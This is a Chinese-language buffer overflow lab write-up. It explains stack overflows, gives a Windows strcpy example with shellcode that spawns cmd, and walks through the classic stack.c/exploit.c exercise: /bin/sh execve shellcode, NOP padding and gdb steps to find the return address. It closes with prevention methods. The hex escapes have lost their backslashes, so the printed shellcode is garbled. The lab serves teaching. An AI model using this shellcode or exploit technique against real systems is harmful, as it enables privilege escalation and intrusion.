缓冲区溢出漏洞实验

一、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

原理详解：

缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候，因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的，攻击者写一个超过缓冲区长度的字符串，植入到缓冲区，然后再向一个有限空间的缓冲区中植入超长的字符串，这时可能会出现两个结果：一是过长的字符串覆盖了相邻的存储单元，引起程序运行失败，严重的可导致系统崩溃；另一个结果就是利用这种漏洞可以执行任意指令，甚至可以取得系统root特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块，它保存了给定类型的数据，随着动态分配变量会出现问题。大多时为了不占用太多的内存，一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据，它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里，通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域，一旦运行这些命令，那可就等于把机器拱手相让了。
通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，进而运行精心准备的指令，以达到攻击的目的。

二、缓冲区溢出实例

1、利用数组越界进行缓冲区溢出

#include<stdio.h>
void HelloWord()
{
	printf("Hello World");
	getchar();
}
void Fun()
{
	int arr[5] = {1,2,3,4,5};
	arr[6] = (int) HelloWord;
}
int main()
{
	Fun();
	return 0;
}

2、利用strcpy()函数进行缓冲区溢出攻击

#include "stdafx.h"
#include <stdio.h>
#include <string.h>

char shellcode3[] = "x68x72x6Fx63x41x68x47x65"
"x74x50xE8x41x00x00x00x50x68x4Cx69x62x72x68x4Cx6F"
"x61x64xE8x31x00x00x00x50x68x72x74x00x00x68x6Dx73"
"x76x63x54xFFxD0x83xC4x08x68x65x6Dx00x00x68x73x79"
"x73x74x54x50xFFx54x24x14x83xC4x08x68x63x6Dx64x00"
"x54xFFxD0x83xC4x14xEBx67x55x8BxECx64xA1x30x00x00"
"x00x8Bx40x0Cx8Bx40x14x8Bx00x8Bx70x28x80x7Ex0Cx33"
"x75xF5x8Bx40x10x8BxF8x03x7Fx3Cx8Bx7Fx78x03xF8x8B"
"xDFx8Bx7Bx20x03xF8x33xC9x8Bx34x8Fx03xF0x41x8Bx54"
"x24x08x39x16x75xF2x8Bx54x24x0Cx39x56x04x75xE9x8B"
"x7Bx24x03xF8x8Bx0Cx4Fx81xE1xFFxFFx00x00x8Bx7Bx1C"
"x03xF8x49xC1xE1x02x8Bx3Cx0Fx03xC7x5DxC2x08x00";

#pragma comment(linker, "/section:.data,RWE")
void Sub_3()
{
    __asm
    {

        mov eax, offset shellcode3
        jmp eax

    }
}

void overflow(const char* input)
{
    char buf[8];
    printf("Virtual address of 'buf' = Ox%p
", buf);
    strcpy(buf, input);
}
void fun()
{
    printf("Function 'fun' has been called without an explicitly invocation.
");
    printf("Buffer Overflow attack succeeded!
");
}
int main()
{
    printf("Address of 'overflow' = Ox%p
", overflow);
    printf("Sddress of 'fun' = Ox%p
", fun);
    printf("Sddress of 'Sub3' = Ox%p
", Sub_3);
    char input[] = "AAAbbbbbbaaaxA5x10x41x00";    
    //char input[] = "AAAAAAA";
    overflow(input);
    return 0;
}

3、本次实验用的测试代码为：

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。

本次实验的 shellcode，就是刚才代码的汇编版本：
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

在同一目录下（/tmp）创建两个c源文件

stack.c

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly
");
    return 1;
}

exploit.c

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "x31xc0" //xorl %eax,%eax
    "x50"     //pushl %eax
    "x68""//sh" //pushl $0x68732f2f
    "x68""/bin"     //pushl $0x6e69622f
    "x89xe3" //movl %esp,%ebx
    "x50"     //pushl %eax
    "x53"     //pushl %ebx
    "x89xe1" //movl %esp,%ecx
    "x99"     //cdq
    "xb0x0b" //movb $0x0b,%al
    "xcdx80" //int $0x80
    ;
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

输入命令：gdb stack disass main进入gdb调试

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。

再设置断点找出str的地址

// 设置断点

b *0x080484ee
r
i r $esp

最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
现在修改 exploit.c 文件，将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff，注意顺序是反的。
先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

可见，通过攻击，获得了root 权限！

三、预防缓冲区溢出的方法

有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。

1. 通过操作系统使得缓冲区不可执行，从而阻止攻击者植入攻击代码。
2. 强制写正确的代码的方法。
3. 利用编译器的边界检查来实现缓冲区的保护。这个方法使得缓冲区溢出不可能出现，从而完全消除了缓冲区溢出的威胁，但是相对而言代价比较大。
4. 一种间接的方法，这个方法在程序指针失效前进行完整性检查。虽然这种方法不能使得所有的缓冲区溢出失效，但它能阻止绝大多数的缓冲区溢出攻击。分析这种保护方法的兼容性和性能优势。